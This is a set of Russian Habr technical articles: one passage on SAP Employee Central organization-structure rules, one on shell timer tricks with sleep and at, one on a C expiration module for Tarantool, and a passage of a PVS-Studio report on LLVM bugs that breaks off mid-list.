Хорошей практикой является закрепление верхних уровней Отделов за конкретным атрибутом (например, Страна, Юридическое лицо, Расположение, Структурная единица или Подразделение), что значительно расширяет возможности бизнес-правил, документооборота и полномочий.
Объект дочернего уровня должен быть связан с объектом родительского уровня через поле (не через ассоциацию), поскольку поле имеет событие «По изменению» и по мере ввода данных может вызывать бизнес-правило с назначением «Оценить», чтобы определить уровень данного Отдела в Структуре компании. Уровень Отдела используется для наследования значений с верхних уровней и для контроля видимости полей в настраиваемом пользовательском интерфейсе.
Как показано на Рисунке 1, Отделы самого высокого уровня (второго уровня в Структуре компании) связывают с объектом первого уровня при помощи нестандартного поля. Нижестоящие Отделы связывают с родительским Отделом при помощи стандартного поля parentDepartment. Подробности см. в документе с Принципами проекта по внедрению [Employee Central Core Hybrid: Organization Structure Design Consideration](https://d.dam.sap.com/a/Hf6JH6M/IDP%20Employee%20Central%20Core%20Hybrid%20-%20Organization%20Structure%20Design%20Consideration%20V1.2.pdf), § 6.3.1 Org Unit Department Object Structure and Configuration, стр. 11.
Рисунок 1. Структура компании в Employee Central и прикрепление Позиций к Отделам### Настройка Позиции
Дайте представим, что имеются следующие ожидания от «Управления позициями»:
* Нанимающие руководители[[3]](https://habr.com/en/post/657141/#n) могут создавать Позиции в Employee Central с нуля;
* Позиции могут принадлежать Отделу любого уровня в Структуре компании, как показано на Рисунке 1;
* Позиции наследуют данные из Структуры компании, когда прикрепляются к соответствующему Отделу, чтобы использовать наследованные данные в бизнес-правилах, документообороте и полномочиях Позиций;
* Сотрудники также наследуют данные из Структуры компании, когда принимаются на конкретную Позицию, а наследованные данные также используются в бизнес-правилах, документообороте и полномочиях Сотрудников.
Чтобы приблизить «Управление позициями» к перечисленным ожиданиям, вам нужно сделать следующие настройки для Позиции:
1. Набор нестандартных полей с соответствующими критериями для ввода всех уровней Структуры компании, как показано в Таблице 1;
2. Бизнес-правило с назначением «Оценить», которое вызывается событиями «По изменению» полей для Структуры компании, чтобы заполнять стандартное поле department, как показано в Программном коде 1;
3. Для поля department – видимость «Только для чтения» и синхронизацию в jobInfo.
*Таблица 1 Настройка набора полей для ввода Структуры компании в Позицию*
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| **Имя поля** | **Источник допустимых значений** | **Видимость** | **Идентификатор правила** 2 | **Имя исходного поля** | **Имя поля назначения** |
| Division 1 | Division | EDITABLE | | | |
| cust\_Department\_L2 | Department | EDITABLE | Position\_department | cust\_Division | division |
| cust\_Department\_L3 | Department | EDITABLE | Position\_department | parentDepartment | cust\_Department\_L2 |
| cust\_Department\_L4 | Department | EDITABLE | Position\_department | parentDepartment | cust\_Department\_L3 |
| cust\_Department\_L5 | Department | EDITABLE | Position\_department | parentDepartment | cust\_Department\_L4 |
| cust\_Department\_L6 | Department | EDITABLE | Position\_department | parentDepartment | cust\_Department\_L5 |
| cust\_Department\_L7 | Department | EDITABLE | Position\_department | parentDepartment | cust\_Department\_L6 |
| Department | Department | READ\_ONLY 3 | | | |
***1*** *В данном примере Подразделение используется как объект первого уровня Структуры компании, а нестандартное поле cust\_Division используется для связи Отделов самого высокого уровня с Подразделениями.* ***2*** *Пример правила см. в Программном коде 1.* ***3*** *Поле department должно быть открыто на изменение в период миграции данных по Позициям из SAP HCM в Employee Central, так как хранит соединение A-003 от Позиций к Организационной единице*
Программный код 1 демонстрирует пример бизнес-правила с назначением «Оценить», которое выполняется событиями «По изменению» полей для Структуры компании, чтобы рассчитать значение для поля department данной Позиции.
*Программный код 1. Тело бизнес-правила для оценки стандартного поля department объекта Position*
```
rule() {
if(literal(Position.cust_Department_L7) != null) {
Position.department = Position.cust_Department_L7;
}
else if(literal(Position.cust_Department_L6) != null) {
Position.department = Position.cust_Department_L6;
}
else if(literal(Position.cust_Department_L5) != null) {
Position.department = Position.cust_Department_L5;
}
else if(literal(Position.cust_Department_L4) != null) {
Position.department = Position.cust_Department_L4;
}
else if(literal(Position.cust_Department_L3) != null) {
Position.department = Position.cust_Department_L3;
}
else if(literal(Position.cust_Department_L2) != null) {
Position.department = Position.cust_Department_L2;
}
else {
Position.department = null;
}
}
```
### Настраиваемый пользовательский интерфейс для Позиции
Ранее мы предположили, что Нанимающие руководители могут создавать Позиции с нуля, что, в свою очередь, требует интуитивно понятных интерфейсов без технических полей и без неиспользуемых, пустых полей нижних уровней структуры.
Если требуется скрывать/отображать поля пользовательского интерфейса Позиций при определенных обстоятельствах (например когда данный пользовательский интерфейс открыт Нанимающим руководителем или если определенное поле Структуры компании пусто), то вам нужно включить Настраиваемый пользовательский интерфейс.
Программный код 2 демонстрирует пример UI-правила, которое контролирует видимость полей для Структуры компании: правило отображает поле дочернего уровня только при условии, если заполнено соответствующее поле родительского уровня. Данное правило предназначено для следующих событий пользовательского интерфейса:
* UI-события onInitUI, которое контролирует видимость полей, когда открывается пользовательский интерфейс, что также включает добавление новой записи;
* UI-событий полей родительского уровня, которые контролируют видимость поля дочернего уровня в том момент, когда изменяется соответствующее поле родительского уровня.
*Программный код 2. UI-правило, которое контролирует видимость полей для Структуры компании*
```
rule() {
if(literal(Position.cust_Department_L6) != null) {
Position.cust_Department_L2.visibility == "yes";
Position.cust_Department_L3.visibility == "yes";
Position.cust_Department_L4.visibility == "yes";
Position.cust_Department_L5.visibility == "yes";
Position.cust_Department_L6.visibility == "yes";
Position.cust_Department_L7.visibility == "yes";
}
else if(literal(Position.cust_Department_L5) != null) {
Position.cust_Department_L2.visibility == "yes";
Position.cust_Department_L3.visibility == "yes";
Position.cust_Department_L4.visibility == "yes";
Position.cust_Department_L5.visibility == "yes";
Position.cust_Department_L6.visibility == "yes";
Position.cust_Department_L7.visibility == "no";
}
else if(literal(Position.cust_Department_L4) != null) {
Position.cust_Department_L2.visibility == "yes";
Position.cust_Department_L3.visibility == "yes";
Position.cust_Department_L4.visibility == "yes";
Position.cust_Department_L5.visibility == "yes";
Position.cust_Department_L6.visibility == "no";
Position.cust_Department_L7.visibility == "no";
}
else if(literal(Position.cust_Department_L3) != null) {
Position.cust_Department_L2.visibility == "yes";
Position.cust_Department_L3.visibility == "yes";
Position.cust_Department_L4.visibility == "yes";
Position.cust_Department_L5.visibility == "no";
Position.cust_Department_L6.visibility == "no";
Position.cust_Department_L7.visibility == "no";
}
else if(literal(Position.cust_Department_L2) != null) {
Position.cust_Department_L2.visibility == "yes";
Position.cust_Department_L3.visibility == "yes";
Position.cust_Department_L4.visibility == "no";
Position.cust_Department_L5.visibility == "no";
Position.cust_Department_L6.visibility == "no";
Position.cust_Department_L7.visibility == "no";
}
else if(literal(Position.division) != null) {
Position.cust_Department_L2.visibility == "yes";
Position.cust_Department_L3.visibility == "no";
Position.cust_Department_L4.visibility == "no";
Position.cust_Department_L5.visibility == "no";
Position.cust_Department_L6.visibility == "no";
Position.cust_Department_L7.visibility == "no";
}
else {
Position.cust_Department_L2.visibility == "no";
Position.cust_Department_L3.visibility == "no";
Position.cust_Department_L4.visibility == "no";
Position.cust_Department_L5.visibility == "no";
Position.cust_Department_L6.visibility == "no";
Position.cust_Department_L7.visibility == "no";
}
}
```
Вывод
-----
С технической точки зрения, Employee Central способен полностью воспроизвести организационную структуру SAP HCM, поэтому существенные изменения в организационной структуре могут быть продиктованы только требованиями бизнеса, а не техническими ограничениями.
Список литературы
-----------------
1. Латышенко В. В. The Core Hybrid integration model on the example of Cost Centers [Электронный ресурс] // SAPinsider. 2020. URL: <https://www.sapinsideronline.com/wp-content/uploads/2020/12/The-Core-Hybrid-Integration-Model-on-the-Example-of-Cost-Centers.pdf> (Дата обращения: 23.03.2022).
2. Employee Central Core Hybrid: Organization Structure Design Consideration. Document Version 1.2 [Электронный ресурс]. URL: <https://d.dam.sap.com/a/Hf6JH6M/IDP%20Employee%20Central%20Core%20Hybrid%20-%20Organization%20Structure%20Design%20Consideration%20V1.2.pdf> (Дата обращения: 23.03.2022).
3. Migrating Data from SAP ERP HCM to Employee Central Using Infoporter. Document Version 2H 2021 – 2022-03-15 [Электронный ресурс]. URL: <https://help.sap.com/doc/1cb0fa7722f44260b5ab7e6b8d7ab33c/latest/en-US/SF_ERP_EC_Data_Migration_en-US.pdf> (Дата обращения: 23.03.2022).
4. What is Hiring Manager? [Электронный ресурс] // TalentLyft URL: <https://www.talentlyft.com/en/resources/what-is-hiring-manager> (Дата обращения: 23.03.2022).
---
[[1]](https://habr.com/en/post/657141/#1) Балансовые единицы ведутся в настроечной таблице T001 и переносятся из SAP HCM в Employee Central c помощью транзакции ECPAO\_TRANS\_FO\_OBJ «Перенести основные объекты в EC». Если есть выбор переноса Балансовых единиц либо из SAP ERP, либо из SAP HCM, то выбор SAP HCM является более предпочтительным.
[[2]](https://habr.com/en/post/657141/#2) Если MDF-объект, например Структурная единица или Подразделение, используется как основа для первого уровня Структуры компании, то рекомендуется иметь два поля для данного MDF-объекта на каждом Отделе. Одно поле заполняется только для Отделов второго уровня (т.е. самого высокого уровня Отделов) и используется для ведения данных Отделов/Позиций и Обзора структуры компании. Второе поле заполняется для Отделов всех уровней и используется в бизнес-правилах и полномочиях.
[[3]](https://habr.com/en/post/657141/#3) Нанимающий руководитель – это лицо в компании, ответственное за наём сотрудников для заполнения открытой позиции. | https://habr.com/ru/post/657141/ | null | ru | null |
# Засеки 25 минут!
Как часто вам бывает нужно просто засечь время? Я думаю, что такая необходимость периодически возникает у всех. Кто-то просто смотрит на часы, кто-то использует специальные программы, кто-то ставит будильник на телефоне.
Но помимо всех этих способов можно ещё сделать вот так:
```
sleep 25m ; xmessage 'Hey! :)'
```
Всего две команды, которые довольно легко запоминаются.
Вместо xmessage может быть, разумеется, что угодно ещё. Например:
```
sleep 8h 30m ; mplayer /home/user/Music/pink_floyd-the_happiest_days_of_our_lives.flac
```
Впрочем, тут надо учитывать, что команда не будет выполнена, если вы закроете терминал. Если же необходимо, чтобы команда всё-таки выполнилась, то есть несколько способов это сделать.
Например, такой:
```
nohup sh -c "sleep 5s ; xmessage ':)'" &
```
Или, как вариант, такой (только не забудьте предварительно выполнить /etc/init.d/atd status и проверить, запущен ли atd):
```
echo "DISPLAY=:0 xmessage ':)'" | at now + 1 minute
```
У at вообще интересный синтаксис — там довольно много разных способов задавать нужное время выполнения задачи. Можно ещё вот так, например:
```
echo "DISPLAY=:0 xmessage ':)'" | at 14:25
```
Ну, и у переменной окружения DISPLAY тоже весьма широкое применение. Она позволяет задавать определённый X-дисплей, чтобы графическая программа была показана именно на нём. Поэтому если вы, например, подключились к компьютеру по SSH и хотите вывести сообщение на экран (чтобы его увидел пользователь, который сидит за компьютером), то делается это точно так же:
```
DISPLAY=:0 xmessage ':)'
```
И точно такая же ситуация ещё с очень многими вещами — нужно один раз посмотреть документацию, а потом использовать сколько захочется в самых разнообразных комбинациях, без установки специализированных утилит.
Надеюсь, для кого-то эта заметка оказалась полезной. Если будут какие-то вопросы на эту тему — пишите. | https://habr.com/ru/post/144638/ | null | ru | null |
# Пишем свой capped expirationd модуль для tarantool
Какое-то время назад перед нами встала проблема чистки кортежей в спейсах [tarantool](https://www.tarantool.io). Чистку нужно было запускать не тогда, когда у tarantool уже заканчивалась память, а заранее и с определенной периодичностью. Для этой задачи в tarantool есть модуль, написанный на Lua, под названием [expirationd](https://github.com/tarantool/expirationd). После непродолжительного использования этого модуля мы поняли, что нам он не подходит: на постоянных чистках больших объемов данных Lua висел в GC. Поэтому мы задумались о разработке своего capped expirationd модуля, надеясь, что код, написанный на нативном языке программирования, решит наши задачи наилучшим образом.
Хорошим примером нам послужил модуль tarantool под названием [memcached](https://github.com/tarantool/memcached). Используемый в нем подход основывается на том, что в спейсе заводится отдельное поле, в котором указывается время жизни кортежа, иными словами, ttl. Модуль в фоне сканирует спейс, сравнивает ttl с текущим временем и принимает решение о том, удалять кортеж или нет. Код модуля memcached простой и элегантный, но слишком общий. Во-первых, он не учитывает тип индекса, по которому осуществляется обход и удаление. Во-вторых, на каждом проходе сканируются все кортежи, количество которых может быть довольно большим. И если в модуле expirationd первая проблема была решена (tree-индекс выделен в отдельный класс), то второй все так же не уделено никакого внимания. Это предопределило выбор в пользу написания своего кода.
#### Описание
В документации к tarantool есть очень хороший [туториал](https://www.tarantool.io/en/doc/1.10/tutorials/c_tutorial/) о том, как писать свои хранимые процедуры на языке C. В первую очередь предлагаю ознакомиться с ним, чтобы понимать те вставки с командами и кодом, которые будут встречаться ниже. Также стоит обратить внимание на [референс](https://www.tarantool.io/en/doc/1.10/dev_guide/reference_capi/) к объектам, которые доступны при написании своего собственного capped модуля, а именно на [box](https://www.tarantool.io/en/doc/1.10/dev_guide/reference_capi/box/), [fiber](https://www.tarantool.io/en/doc/1.10/dev_guide/reference_capi/fiber/), [index](https://www.tarantool.io/en/doc/1.10/dev_guide/reference_capi/box_index/) и [txn](https://www.tarantool.io/en/doc/1.10/dev_guide/reference_capi/txn/).
Давайте начнем издалека и посмотрим на то, как выглядит capped expirationd модуль снаружи:
```
fiber = require('fiber')
net_box = require('net.box')
box.cfg{listen = 3300}
box.schema.func.create('libcapped-expirationd.start', {language = 'C'})
box.schema.user.grant('guest', 'execute', 'function', 'libcapped-expirationd.start')
box.schema.func.create('libcapped-expirationd.kill', {language = 'C'})
box.schema.user.grant('guest', 'execute', 'function', 'libcapped-expirationd.kill')
box.schema.space.create('tester')
box.space.tester:create_index('primary', {unique = true, parts = {1, 'unsigned'}})
capped_connection = net_box:new(3300)
```
Для простоты запускаем tarantool в каталоге, в котором находится наша библиотека libcapped-expirationd.so. Из библиотеки экспортируются две функции: start и kill. Вначале самом необходимо сделать эти функции доступными из Lua с помощью box.schema.func.create и box.schema.user.grant. Затем создать спейс, кортежи которого будут содержать всего три поля: первое — это уникальный идентификатор, второе — электронная почта, третье — время жизни кортежа. Поверх первого поля строим tree-индекс и называем его primary. Далее получаем объект подключения к нашей нативной библиотеке.
После подготовительных работ запускаем функцию start:
```
capped_connection:call('libcapped-expirationd.start', {'non-indexed', box.space.tester.id, box.space.tester.index.primary, box.space.tester.index.primary, 3, 1024, 3600})
```
Этот пример будет работать при сканировании ровно также, как и модуль expirationd, который написан на Lua. Первым аргументом в функцию start передается уникальное имя таска. Вторым — идентификатор спейса. Третьим — уникальный индекс, по которому будет осуществляться удаление кортежей. Четвертым — индекс, по которому будет осуществляться обход кортежей. Пятым — номер поля кортежа с временем жизни (нумерация идет от 1, а не 0!). Шестым и седьмым — настройки сканирования. 1024 — это максимальное количество кортежей, которое просматривается в рамках одной транзакции. 3600 — время полного сканирования в секундах.
Обратите внимание, что для обхода и удаления в примере используется один и тот же индекс. Если это tree-индекс, то обход осуществляется от меньшего ключа к большему. Если какой-то другой, например, hash-индекс, то обход осуществляется, как правило, в произвольном порядке. За одно сканирование просматриваются все кортежи спейса.
Давайте сделаем вставку в спейс нескольких кортежей с временем жизни 60 секунд:
```
box.space.tester:insert{0, 'user0@tarantool.io', math.floor(fiber.time()) + 60}
box.space.tester:insert{1, 'user1@tarantool.io', math.floor(fiber.time()) + 60}
box.space.tester:insert{2, 'user2@tarantool.io', math.floor(fiber.time()) + 60}
```
Проверим, что вставка прошла успешно:
```
tarantool> box.space.tester.index.primary:select()
---
- - [0, 'user0@tarantool.io', 1576418976]
- [1, 'user1@tarantool.io', 1576418976]
- [2, 'user2@tarantool.io', 1576418976]
...
```
Повторим select через 60+ секунд (считаем от начала вставки первого кортежа) и увидим, что модуль capped expirationd уже отработал:
```
tarantool> box.space.tester.index.primary:select()
---
- []
...
```
Остановим таск:
```
capped_connection:call('libcapped-expirationd.kill', {'non-indexed'})
```
Давайте рассмотрим второй пример, когда для обхода используется отдельный индекс:
```
fiber = require('fiber')
net_box = require('net.box')
box.cfg{listen = 3300}
box.schema.func.create('libcapped-expirationd.start', {language = 'C'})
box.schema.user.grant('guest', 'execute', 'function', 'libcapped-expirationd.start')
box.schema.func.create('libcapped-expirationd.kill', {language = 'C'})
box.schema.user.grant('guest', 'execute', 'function', 'libcapped-expirationd.kill')
box.schema.space.create('tester')
box.space.tester:create_index('primary', {unique = true, parts = {1, 'unsigned'}})
box.space.tester:create_index('exp', {unique = false, parts = {3, 'unsigned'}})
capped_connection = net_box:new(3300)
```
Здесь все то же самое, что и в первом примере, за малым исключением. Поверх третьего поля строим tree-индекс и называем его exp. Этот индекс не обязан быть уникальным, в отличие от индекса под названием primary. Обход будет осуществляться по exp индексу, а удаление по primary. Мы помним, что ранее и то, и другое делалось только с использованием primary индекса.
После подготовительных работ запускаем функцию start с новыми аргументами:
```
capped_connection:call('libcapped-expirationd.start', {'indexed', box.space.tester.id, box.space.tester.index.primary, box.space.tester.index.exp, 3, 1024, 3600})
```
Снова сделаем вставку в спейс нескольких кортежей с временем жизни 60 секунд:
```
box.space.tester:insert{0, 'user0@tarantool.io', math.floor(fiber.time()) + 60}
box.space.tester:insert{1, 'user1@tarantool.io', math.floor(fiber.time()) + 60}
box.space.tester:insert{2, 'user2@tarantool.io', math.floor(fiber.time()) + 60}
```
Через 30 секунд по аналогии добавим еще несколько кортежей:
```
box.space.tester:insert{3, 'user3@tarantool.io', math.floor(fiber.time()) + 60}
box.space.tester:insert{4, 'user4@tarantool.io', math.floor(fiber.time()) + 60}
box.space.tester:insert{5, 'user5@tarantool.io', math.floor(fiber.time()) + 60}
```
Проверим, что вставка прошла успешно:
```
tarantool> box.space.tester.index.primary:select()
---
- - [0, 'user0@tarantool.io', 1576421257]
- [1, 'user1@tarantool.io', 1576421257]
- [2, 'user2@tarantool.io', 1576421257]
- [3, 'user3@tarantool.io', 1576421287]
- [4, 'user4@tarantool.io', 1576421287]
- [5, 'user5@tarantool.io', 1576421287]
...
```
Повторим select через 60+ секунд (считаем от начала вставки первого кортежа) и увидим, что модуль capped expirationd уже отработал:
```
tarantool> box.space.tester.index.primary:select()
---
- - [3, 'user3@tarantool.io', 1576421287]
- [4, 'user4@tarantool.io', 1576421287]
- [5, 'user5@tarantool.io', 1576421287]
...
```
В спейсе остались кортежи, которым жить еще примерно 30 секунд. Более того, сканирование остановилось при переходе от кортежа с идентификатором 2 и временем жизни 1576421257 к кортежу с идентификатором 3 и временем жизни 1576421287. Кортежи с временем жизни 1576421287 и более просмотрены не были за счет упорядоченности ключей exp индекса. Эта и есть та экономия, которой мы хотели добиться в самом начале.
Остановим таск:
```
capped_connection:call('libcapped-expirationd.kill', {'indexed'})
```
#### Реализация
Лучше всего о всех особенностях проекта всегда расскажет его исходный [код](https://github.com/sonntex/tarantool-capped-expirationd)! В рамках публикации мы остановимся лишь на самых важных моментах, а именно, на алгоритмах обхода спейса.
Аргументы, которые мы передаем в функцию start, сохраняются в структуре под названием expirationd\_task:
```
struct expirationd_task
{
char name[256];
uint32_t space_id;
uint32_t rm_index_id;
uint32_t it_index_id;
uint32_t it_index_type;
uint32_t field_no;
uint32_t scan_size;
uint32_t scan_time;
};
```
Атрибут name — это имя таска. Атрибут space\_id — идентификатор спейса. Атрибут rm\_index\_id — идентификатор уникального индекса, по которому будет осуществляться удаление кортежей. Атрибут it\_index\_id — идентификатор индекса, по которому будет осуществляться обход кортежей. Атрибут it\_index\_type — тип индекса, по которому будет осуществляться обход кортежей. Атрибут filed\_no — номер поля кортежа с временем жизни. Атрибут scan\_size — максимальное количество кортежей, которое просматривается в рамках одной транзакции. Атрибут scan\_time — время полного сканирования в секундах.
Парсинг аргументов рассматривать не будем. Это кропотливая, но несложная работа, в которой вам поможет библиотека [msgpuck](https://github.com/tarantool/msgpuck). Трудности могут возникнуть лишь с индексами, которые передаются из Lua в виде сложной структуры данных с типом mp\_map, а не с помощь простых типов mp\_bool, mp\_double, mp\_int, mp\_uint и mp\_array. Но весь индекс парсить и не нужно. Достаточно лишь проверить его уникальность, вычислить тип и извлечь идентификатор.
Перечислим прототипы всех функций, которые используются для парсинга:
```
bool expirationd_parse_name(struct expirationd_task *task, const char **pos);
bool expirationd_parse_space_id(struct expirationd_task *task, const char **pos);
bool expirationd_parse_rm_index_id(struct expirationd_task *task, const char **pos);
bool expirationd_parse_rm_index_unique(struct expirationd_task *task, const char **pos);
bool expirationd_parse_rm_index(struct expirationd_task *task, const char **pos);
bool expirationd_parse_it_index_id(struct expirationd_task *task, const char **pos);
bool expirationd_parse_it_index_type(struct expirationd_task *task, const char **pos);
bool expirationd_parse_it_index(struct expirationd_task *task, const char **pos);
bool expirationd_parse_field_no(struct expirationd_task *task, const char **pos);
bool expirationd_parse_scan_size(struct expirationd_task *task, const char **pos);
bool expirationd_parse_scan_time(struct expirationd_task *task, const char **pos);
```
А теперь перейдем к самому главному — к логике обхода спейса и удаления кортежей. Каждый блок кортежей размером не более scan\_size просматривается и изменяется под одной транзакцией. В случае успеха эта транзакция коммитится, в случае ошибки — откатывается. Последним аргументом в функцию expirationd\_iterate передается указатель на итератор, с которого начинается или продолжается сканирование. Этот итератор инкрементируется внутри пока не произойдет ошибка, не закончится спейс, либо не представится возможности заранее остановить процесс. Функция expirationd\_expired проверяет время жизни кортежа, expirationd\_delete — удаляет кортеж, expirationd\_breakable — проверяет, нужно ли нам двигаться дальше.
Код функции expirationd\_iterate:
```
static bool
expirationd_iterate(struct expirationd_task *task, box_iterator_t **iterp)
{
box_iterator_t *iter = *iterp;
box_txn_begin();
for (uint32_t i = 0; i < task->scan_size; ++i) {
box_tuple_t *tuple = NULL;
if (box_iterator_next(iter, &tuple) < 0) {
box_iterator_free(iter);
*iterp = NULL;
box_txn_rollback();
return false;
}
if (!tuple) {
box_iterator_free(iter);
*iterp = NULL;
box_txn_commit();
return true;
}
if (expirationd_expired(task, tuple))
expirationd_delete(task, tuple);
else if (expirationd_breakable(task))
break;
}
box_txn_commit();
return true;
}
```
Код функции expirationd\_expired:
```
static bool
expirationd_expired(struct expirationd_task *task, box_tuple_t *tuple)
{
const char *buf = box_tuple_field(tuple, task->field_no - 1);
if (!buf || mp_typeof(*buf) != MP_UINT)
return false;
uint64_t val = mp_decode_uint(&buf);
if (val > fiber_time64() / 1000000)
return false;
return true;
}
```
Код фукнции expirationd\_delete:
```
static void
expirationd_delete(struct expirationd_task *task, box_tuple_t *tuple)
{
uint32_t len;
const char *str = box_tuple_extract_key(tuple, task->space_id, task->rm_index_id, &len);
box_delete(task->space_id, task->rm_index_id, str, str + len, NULL);
}
```
Код функции expirationd\_breakable:
```
static bool
expirationd_breakable(struct expirationd_task *task)
{
return task->it_index_id != task->rm_index_id && task->it_index_type == ITER_GT;
}
```
#### Приложение
Ознакомиться с исходным кодом можно на [тут](https://github.com/sonntex/tarantool-capped-expirationd)! | https://habr.com/ru/post/479166/ | null | ru | null |
# Находим ошибки в коде проекта LLVM с помощью анализатора PVS-Studio
Около двух месяцев назад я написал статью о проверке компилятора GCC с помощью анализатора PVS-Studio. Идея статьи была следующая: предупреждения GCC — это хорошо, но недостаточно. Надо использовать специализированные инструменты анализа кода, например, PVS-Studio. В качестве подтверждения я показал ошибки, которые PVS-Studio смог найти в коде GCC. Ряд читателей заметили, что качество кода GCC и его диагностики так себе, в то время как компилятор Clang современен, качественен, свеж и молод. В общем Clang — это ого-го! Что ж, значит пришло время мне проверить с помощью PVS-Studio проект LLVM.
Проверяем LLVM с помощью Linux версии PVS-Studio
------------------------------------------------
Думаю, мало тех, кто не знает, что такое LLVM. Тем не менее, сохраню традицию кратко описывать проект, который был проверен.
[LLVM](https://ru.wikipedia.org/wiki/Low_Level_Virtual_Machine) (Low Level Virtual Machine) — универсальная система анализа, трансформации и оптимизации программ, реализующая виртуальную машину с RISC-подобными инструкциями. Может использоваться как оптимизирующий компилятор этого байткода в машинный код для различных архитектур, либо для его интерпретации и JIT-компиляции (для некоторых платформ). В рамках проекта LLVM был разработан фронтенд Clang для языков C, C++ и Objective-C, транслирующий исходные коды в байткод LLVM, и позволяющий использовать LLVM в качестве полноценного компилятора.
Официальный сайт: <http://llvm.org/>
Проверке подвергалась ревизия 282481. Анализ проводился новой версией PVS-Studio, работающей под Linux. Поскольку PVS-Studio for Linux — это новый продукт, то ниже я расскажу подробнее как выполнялась проверка. Уверен, это покажет, что использовать наш анализатор в Linux совсем не сложно, и вы можете, не откладывая, попробовать проверить собственный проект.
Linux-версия анализатора доступна для скачивания на следующей странице: <http://www.viva64.com/ru/pvs-studio-download-linux/>
Предыдущие проекты мы проверяли с помощью универсального механизма, который отслеживает запуски компилятора. В этот раз мы воспользуемся для проверки информацией, которую PVS-Studio возьмёт из JSON Compilation Database. Подробности можно почерпнуть из раздела документации "[Как запустить PVS-Studio в Linux](http://www.viva64.com/ru/m/0036/)".
В LLVM 3.9 полностью отказались от autoconf в пользу CMake, и это стало хорошим поводом опробовать в действии поддержку JSON Compilation Database. Что это такое? Это формат, используемый утилитами Clang. В нём хранится список вызовов компилятора в следующем виде:
```
[
{
"directory": "/home/user/llvm/build",
"command": "/usr/bin/c++ .... file.cc",
"file": "file.cc"
},
....
]
```
Для CMake-проектов получить такой файл очень просто — достаточно выполнить генерацию проекта с дополнительной опцией:
```
cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=On ../llvm
```
После этого в текущем каталоге появится compile\_commands.json. Он и нужен нам для проверки. Так как некоторые проекты используют кодогенерацию, сначала выполним сборку.
```
make -j8
```
Теперь всё готово для анализа. Запускается он одной строчкой:
```
pvs-studio-analyzer analyze -l ~/PVS-Studio.lic -o PVS-Studio.log -j
```
Для проектов, не использующих CMake, получить compile\_commands.json можно с помощью утилиты Bear. Но для сложных сборочных систем, активно использующих переменные окружения или кросс-компиляцию, полученные команды не всегда предоставляют подробную информацию о юните трансляции.
**Примечание N1.** [Как работать с отчетом PVS-Studio в Linux](http://www.viva64.com/ru/b/0444/).
**Примечание N2.** Мы оказываем качественную и быструю поддержку нашим клиентам и потенциальным пользователям. Поэтому, если вам что-то непонятно или что-то не получается, напишите нам в [поддержку](http://www.viva64.com/ru/about-feedback/). Вам понравится наш сервис.
Результаты проверки
-------------------
Кстати, это уже не первая проверка LLVM. Статьи, написанные по мотивам предыдущих проверок:* [PVS-Studio vs Clang](http://www.viva64.com/ru/b/0108/) (2011);
* [Статический анализ следует применять регулярно](http://www.viva64.com/ru/b/0155/) (2012).
К сожалению, не могу ничего сказать о количестве ложных срабатываний и плотности найденных ошибок. Проект большой, предупреждений много, и я изучал их очень поверхностно. В своё оправдание могу сказать, что много времени отняла подготовка к выходу PVS-Studio для Linux, и мне удавалась работать над статьёй только урывками.
Всё, лирика закончилась, перейду к самому интересному. Рассмотрим подозрительные места в коде LLVM, на которые указал мне PVS-Studio.
### Небитовые поля
В коде имеется вот такое перечисление:
```
enum Type {
ST_Unknown, // Type not specified
ST_Data,
ST_Debug,
ST_File,
ST_Function,
ST_Other
};
```
Это, если так можно сказать, «классическое перечисление». Каждому имени в перечислении присваивается целочисленное значение, которое соответствует определенному месту в порядке значений в перечислении:* ST\_Unknown = 0
* ST\_Data = 1
* ST\_Debug = 2
* ST\_File = 3
* ST\_Function = 4
* ST\_Other = 5
Ещё раз подчеркну, что это просто перечисление, а не набор масок. Если бы эти константы можно было сочетать между собой, то они бы являлись степенью числа 2.
Теперь пришло время взглянуть на код, где это перечисление используется неправильно:
```
void MachODebugMapParser::loadMainBinarySymbols(....)
{
....
SymbolRef::Type Type = *TypeOrErr;
if ((Type & SymbolRef::ST_Debug) ||
(Type & SymbolRef::ST_Unknown))
continue;
....
}
```
**Предупреждение PVS-Studio:** [V616](http://www.viva64.com/ru/w/V616/) The 'SymbolRef::ST\_Unknown' named constant with the value of 0 is used in the bitwise operation. MachODebugMapParser.cpp 448
Вспомним, что константа *ST\_Unknown* равна нулю. Следовательно, выражение можно сократить:
```
if (Type & SymbolRef::ST_Debug)
```
Явно здесь что-то не так. По всей видимости программист, писавший этот, код решил, что работает с перечислением, представляющим собой флаги. То есть он ожидал, что каждой константе соответствует тот или иной бит. Но это не так. Я думаю, правильная проверка в коде должна выглядеть так:
```
if ((Type == SymbolRef::ST_Debug) || (Type == SymbolRef::ST_Unknown))
```
Чтобы избежать подобных ошибок, думаю, следовало использовать *enum class*. В этом случае некорректное выражение просто бы не скомпилировалось.
### Одноразовые циклы
Функция не очень сложная, поэтому я решил привести её целиком. Прежде чем читать статью дальше, предлагаю самостоятельно догадаться, что здесь подозрительно.
```
Parser::TPResult Parser::TryParseProtocolQualifiers() {
assert(Tok.is(tok::less) && "Expected '<' for qualifier list");
ConsumeToken();
do {
if (Tok.isNot(tok::identifier))
return TPResult::Error;
ConsumeToken();
if (Tok.is(tok::comma)) {
ConsumeToken();
continue;
}
if (Tok.is(tok::greater)) {
ConsumeToken();
return TPResult::Ambiguous;
}
} while (false);
return TPResult::Error;
}
```
**Предупреждение PVS-Studio:** [V696](http://www.viva64.com/ru/w/V696/) The 'continue' operator will terminate 'do {… } while (FALSE)' loop because the condition is always false. Check lines: 1642, 1649. ParseTentative.cpp 1642
Разработчики LLVM, конечно, сразу смогут понять, есть здесь ошибка или нет. Мне же придётся поиграть в детектива. Рассматривая этот код, я рассуждал следующим образом. Функция должна прочитать открывающуюся скобку '<', затем она в цикле читает идентификаторы и запятые. Если запятой нет, то ожидается закрывающаяся скобка. Если что-то пошло не так, то функция возвращает код ошибки. Я думаю, что был задуман следующий алгоритм работы функции (псевдокод):* Начало цикла:
* Прочитать идентификатор. Если это не идентификатор, то вернуть статус ошибки.
* Прочитать запятую. Если это запятая, перейти к началу цикла.
* Ага, у нас не запятая. Если это закрывающаяся скобка, то все хорошо, выходим из функции.
* Иначе вернем статус ошибки.
Беда в том, что цикл пытаются возобновить с помощью оператора *continue*. Он передает управление вовсе не на начало тела цикла, а на проверку условия продолжения цикла. А условие у всегда *false*. В результате цикл сразу завершается и алгоритм выглядит следующим образом:* Начало цикла:
* Прочитать идентификатор. Если это не идентификатор, то вернуть статус ошибки.
